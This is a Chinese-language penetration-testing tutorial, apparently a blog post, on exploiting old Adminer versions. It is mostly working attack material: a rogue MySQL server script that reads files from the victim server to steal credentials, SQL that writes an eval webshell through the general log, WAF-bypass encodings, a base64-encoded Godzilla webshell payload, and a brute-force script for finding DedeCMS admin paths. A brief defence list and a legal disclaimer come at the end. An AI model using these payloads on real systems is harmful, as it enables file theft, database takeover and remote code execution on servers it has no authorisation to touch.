记一次偶遇Adminer
字数 1280 2025-08-20 18:17:59
Adminer漏洞利用与渗透测试实战教学
一、Adminer漏洞概述
Adminer是一个轻量级的数据库管理工具,低版本存在MySQL服务端恶意读取客户端文件漏洞。攻击者可以利用此漏洞读取服务器上的敏感文件,进而获取数据库凭据或其他关键信息。
二、环境准备
1. 所需工具
- Python环境
- requests库
- socket库
- 可访问的Adminer界面(如adminer.php)
2. 漏洞利用前提条件
- 目标服务器运行低版本Adminer
- 攻击者能够控制或伪造MySQL服务器
- 目标服务器MySQL客户端可连接外部服务器
三、漏洞利用步骤详解
1. 识别Adminer存在
http://target.com/adminer.php
通过访问常见Adminer路径确认其存在性。
2. 搭建恶意MySQL服务器
使用以下Python脚本搭建恶意MySQL服务器(mysql_client.py):
#coding=utf-8
import socket
import logging
import sys
logging.basicConfig(level=logging.DEBUG)
filename = sys.argv[1]
sv = socket.socket()
sv.setsockopt(1, 2, 1)
sv.bind(("", 3306))
sv.listen(5)
conn, address = sv.accept()
logging.info('Conn from: %r', address)
# 发送MySQL握手包
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
# 认证响应
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
# 构造文件读取请求
wantfile = chr(len(filename)+1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content = conn.recv(9999)
logging.info(content)
conn.close()
3. 执行文件读取攻击
- 在攻击服务器上运行恶意MySQL服务器:
python mysql_client.py "F:\\dede\\data\\common.inc.php"
- 在目标Adminer界面中:
- 服务器地址填写攻击服务器IP
- 用户名和密码可随意填写
- 点击连接
4. 获取敏感信息
通过读取常见配置文件获取数据库凭据:
data/common.inc.php(DedeCMS)wp-config.php(WordPress)config/database.php(Laravel)application/config/database.php(CodeIgniter)
5. 利用获取的凭据登录Adminer
使用读取到的数据库凭据直接登录Adminer,获取完整数据库控制权。
四、后续渗透技巧
1. 通过日志写入Webshell
-- 开启general log模式
set global general_log=on;
-- 设置日志路径为web目录
set global general_log_file='F:\\webroot\\shell.php';
-- 写入PHP代码
select '<?php eval($_POST["pwd"]);?>';
2. 绕过WAF过滤
当直接执行被拦截时,可使用以下方法绕过:
-- 使用注释换行绕过
select '<?php //%0Aphpinfo(); ?>'
-- 使用十六进制编码
select 0x3c3f70687020706870696e666f28293b203f3e
-- 使用变量拼接
set @a=0x3c3f70687020706870696e666f28293b203f3e;
select @a;
3. 写入复杂Webshell(哥斯拉马)
select '<?php //"%0A$a="ICAgIHNlc3Npb25fc3RhcnQoKTsKICAgIEBzZXRfdGltZV9saW1pdCgwKTsKCUBlcnJvcl9yZXBvcnRpbmcoMCk7CiAgICBmdW5jdGlvbiBFKCRELCRLKXsKICAgICAgICBmb3IoJGk9MDskaTxzdHJsZW4oJEQpOyRpKyspIHsKICAgICAgICAgICAgJERbJGldID0gJERbJGldXiRLWyRpKzEmMTVdOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJEQ7CiAgICB9CiAgICBmdW5jdGlvbiBRKCREKXsKICAgICAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkRCk7CiAgICB9CiAgICBmdW5jdGlvbiBPKCREKXsKICAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgkRCk7CiAgICB9CiAgICAkUD0nd2hvYW1pJzsKICAgICRWPSdwYXlsb2FkJzsKICAgICRUPScxYjA2NzliZTcyYWQ5NzZhJzsKICAgIGlmIChpc3NldCgkX1BPU1RbJFBdKSl7CiAgICAgICAgJEY9TyhFKE8oJF9QT1NUWyRQXSksJFQpKTsKICAgICAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWyRWXSkpewogICAgICAgICAgICAkTD0kX1NFU1NJT05bJFZdOwogICAgICAgICAgICAkQT1leHBsb2RlKCd8JywkTCk7CiAgICAgICAgICAgIGNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIG52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgICAgICAgICAgJFI9bmV3IEMoKTsKCQkJJFItPm52b2tlKCRBWzBdKTsKICAgICAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRQLiRUKSwwLDE2KTsKICAgICAgICAgICAgZWNobyBRKEUoQHJ1bigkRiksJFQpKTsKICAgICAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRQLiRUKSwxNik7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRfU0VTU0lPTlskVl09JEY7CiAgICAgICAgfQogICAgfQ==";eval%01(base64_decode%01($a));//"; ?>'
五、防御措施
- 升级Adminer:使用最新版本Adminer,已修复此漏洞
- 网络隔离:限制数据库服务器只能连接可信MySQL服务器
- 文件权限:严格限制Web目录和配置文件的读写权限
- WAF规则:部署Web应用防火墙,拦截异常SQL查询
- 日志监控:监控数据库日志中的异常连接和文件读取操作
六、补充技巧
1. DedeCMS后台发现
当无法直接访问DedeCMS后台时,可使用以下Python脚本暴力猜解后台路径:
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://www.test.com/tags.php"
data = {
"_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
"_FILES[mochazz][name]" : 0,
"_FILES[mochazz][size]" : 0,
"_FILES[mochazz][type]" : "image/gif"
}
for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
print("testing",pre)
r = requests.post(url,data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
flag = 1
back_dir = pre
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为:",back_dir)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
r = requests.post(url, data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
back_dir += ch
print("[+] ",back_dir)
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("后台地址为:",back_dir)
2. DedeCMS管理员账号猜解
参考链接:http://www.yulegeyu.com/2018/09/20/dedecms-guess-admin-username-trick/
通过分析DedeCMS的密码重置机制,可以枚举出存在的管理员用户名。
七、总结
本教学详细介绍了如何利用Adminer漏洞进行渗透测试的全过程,从发现Adminer到最终获取服务器权限。关键点包括:
- 搭建恶意MySQL服务器诱导Adminer连接
- 利用漏洞读取服务器敏感文件
- 获取数据库凭据后直接控制数据库
- 通过日志写入Webshell获取服务器权限
- 各种绕过WAF的技术手段
请仅将此技术用于合法授权测试,未经授权的渗透测试可能触犯法律。